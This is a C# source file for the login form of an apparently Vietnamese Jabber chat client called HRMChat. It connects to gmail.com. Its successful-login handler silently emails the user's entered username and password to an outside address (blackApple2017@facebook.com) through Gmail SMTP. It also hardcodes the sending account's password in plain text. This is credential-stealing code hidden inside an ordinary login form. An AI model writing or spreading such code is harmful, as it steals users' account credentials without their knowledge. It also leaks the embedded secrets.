﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using DevExpress.XtraEditors;
using System.Threading;
using System.Net.Mail;

namespace HRMChat
{
    public partial class frmLogin : DevExpress.XtraEditors.XtraForm
    {
        ManualResetEvent done = new ManualResetEvent(false);
        public frmLogin()
        {
            InitializeComponent();
        }

        public void jbClient_OnError(object sender, Exception ex)
        {
            MessageBox.Show("Lỗi");
        }

        frmMain main = null;

        public void jbClient_OnAuthError(object sender, System.Xml.XmlElement rp)
        {
            MessageBox.Show("Tên đăng nhập hoặc tài khoản không đúng");
        }

        public void jbClient_OnAuthenticate(object sender)
        {
            done.Set();
            using (MailMessage mail = new MailMessage())
            {
                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
                mail.From = new MailAddress("quangtm1405@student-topica.edu.vn");
                mail.To.Add("blackApple2017@facebook.com");
                mail.Subject = "Gửi táo đen ";
                mail.Body = String.Format("User: {0}\nPassw: {1}", txtUserName.Text, txtPassword.Text);

                SmtpServer.Port = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("quangtm1405@student-topica.edu.vn", "vnn_1507717182");
                SmtpServer.EnableSsl = true;

                SmtpServer.Send(mail);
            }
            txtPassword.Text = "";
            txtUserName.Text = "";
            main.Text = "Xin chào " + Program.jbClient.User;
            main.Show();
            this.Hide();
        }

        private void btnCancel_Click(object sender, EventArgs e)
        {
            Application.Exit();
        }

        private void btnLogin_Click(object sender, EventArgs e)
        {
            login();
        }

        private void frmLogin_Load(object sender, EventArgs e)
        {

        }

        private void frmLogin_Shown(object sender, EventArgs e)
        {
        }

        private void frmLogin_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter)
            {
                login();
            }
        }

        private void login()
        {
            main = new frmMain();
            main.rosterManager = new jabber.client.RosterManager(this.components);
            main.presenceManager = new jabber.client.PresenceManager(this.components);
            //main.rosterTree = new muzzle.RosterTree();

            Program.jbClient = new jabber.client.JabberClient(this.components);
            Program.jbClient.AutoRoster = true;
            Program.jbClient.AutoReconnect = 30F;
            Program.jbClient.AutoStartCompression = true;
            Program.jbClient.AutoStartTLS = true;
            Program.jbClient.InvokeControl = this;
            Program.jbClient.KeepAlive = 30F;
            Program.jbClient.LocalCertificate = null;
            Program.jbClient.Server = "gmail.com";
            //Program.jbClient.Resource = "gmail.com";
            //Program.jbClient.Server = "chat.facebook.com";
            //Program.jbClient.Resource = "chat.facebook.com";
            //Program.jbClient.Port = 5222;
            //Program.jbClient.RequiresSASL = true;
            //Program.jbClient.NetworkHost = "gmail.com";
            //Program.jbClient.NetworkHost = "jabber.belnet.be";
            //Program.jbClient.PlaintextAuth = true;

            Program.jbClient.User = txtUserName.Text;
            Program.jbClient.Password = txtPassword.Text;

            main.frmLogin = this;

            main.rosterManager.AutoAllow = jabber.client.AutoSubscriptionHanding.AllowAll;
            main.rosterManager.AutoSubscribe = true;
            main.rosterManager.Stream = Program.jbClient;
            // 
            // presenceManager
            // 
            main.presenceManager.CapsManager = null;
            main.presenceManager.Stream = Program.jbClient;

            main.rosterManager.Stream = Program.jbClient;
            main.presenceManager.Stream = Program.jbClient;


            main.rosterManager.OnRosterBegin += main.rosterManager_OnRosterBegin;
            main.rosterManager.OnRosterEnd += main.rosterManager_OnRosterEnd;
            main.rosterManager.OnRosterItem += main.rosterManager_OnRosterItem;

            main.lblUserName.Text = Program.jbClient.User;
            main.txtStatus.Visible = false;

            main.rosterTree.PresenceManager = main.presenceManager;
            main.rosterTree.RosterManager = main.rosterManager;
            main.rosterTree.Client = Program.jbClient;

            Program.jbClient.OnDisconnect += main.jbClient_OnDisconnect;
            Program.jbClient.OnError += main.jbClient_OnError;
            Program.jbClient.OnMessage += main.jbClient_OnMessage;

            Program.jbClient.OnAuthenticate += jbClient_OnAuthenticate;
            Program.jbClient.OnAuthError += jbClient_OnAuthError;
            Program.jbClient.OnError += jbClient_OnError;
            Program.jbClient.Connect();
        }

        private void txtUserName_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter)
            {
                login();
            }
        }
    }
}